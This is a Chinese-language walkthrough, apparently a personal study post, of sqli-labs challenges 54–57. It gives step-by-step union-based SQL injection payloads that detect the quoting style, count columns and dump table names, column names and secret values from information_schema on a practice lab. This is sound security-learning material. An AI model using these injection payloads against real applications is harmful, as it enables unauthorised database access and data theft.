sqli-labs(54-57)-challenges-Union查询

基础的写完了,进阶的练练手,莫名的有点紧张激动

54 10步之内获得flag-union-单引号

意思是10次之内获得flag,重置数据库后表名什么的会改变

1.?id=1显示

2.?id=1 and 1=2显示 字符型

3.?id=1' order by 4--+不显示

4.?id=1' order by 3--+显示

5.?id=-1' union select 1,2,3--+显示2,3

6.获取数据库名和表名?id=-1 ' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=(select database())),database()--+

7.h获取字段名?id=-1 ' union select 1,database(),(select group_concat(column_name) from information_schema.columns where table_schema=(select database()) and table_name='v7eq71i308')--+

8.获取密码?id=-1 ' union select 1,database(),(select secret_XUX0 from v7eq71i308)--+

但是提交密码,还是说不正确,不知道问题出在哪,数据库中也是那个密码

可能代码错了吧

换了个新的靶场,正确了

55 14步内获取flag-union-数字-( )

1.?id=1 and 1=1显示

2.?id=1 and 1=2不显示,数字型

3.?id=2 and 1=1显示1的查询结果,有()

4.?id=2) order by 4--+不显示

5.?id=2) order by 3--+显示,可用字段名数为3

6.?id=-2) union select 1,2,database()--+第2,3个字段名可用

7.获取表名

?id=-2) union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='challenges'),database()--+

8.获取字段名

?id=-2) union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='challenges' and table_name='8zokmrvsxe'),database()--+

9.获取flag

?id=-2) union select 1,(select secret_70XQ from 8zokmrvsxe),database()--+

56 14步内获得flag-union-单引号-括号

1.?id=2 and 1=2显示2的查询结果,不是数字型

2.id=2'不显示

3.id=2' and '1'='1显示1的查询结果,单引号型带括号

4.id=2') order by 4不显示

5.id=2') order by 3显示,字段数为3

6.?id=-2' )union select 1,2,3--+,2,3字段可用

7.获取表名

?id=-2' )union select 1,(select group_concat(table_name)from information_schema.tables where table_schema='challenges'),3--+

8.获取字段名

?id=-2' )union select 1,(select group_concat(column_name)from information_schema.columns where table_schema='challenges' and table_name='3revu8wvaf'),3--+

9.获取flag

?id=-2' )union select 1,(select secret_9CUZ from 3revu8wvaf),3--+

57 14步内获得flag-union-双引号

1.?id=2 and 1=2显示,不是数字型

2.?id=2'显示,不是单引号

3.?id=2"不显示,双引号

4.?id=2" and "1"="1显示2的查询结果,说明没有( )

5.?id=2" order by 4--+不显示

6.?id=2" order by 3--+显示,字段数为3

7.?id=-2" union select 1,2,database()--+,2,3字段可用

8.获取表名

?id=-2" union select 1,(select group_concat(table_name)from information_schema.tables where table_schema='challenges'),3--+

9.获取字段名

?id=-2" union select 1,(select group_concat(column_name)from information_schema.columns where table_schema='challenges' and table_name='0q9wxz2s23'),3--+

10.获取flag

?id=-2" union select 1,(select secret_353W from 0q9wxz2s23),3--+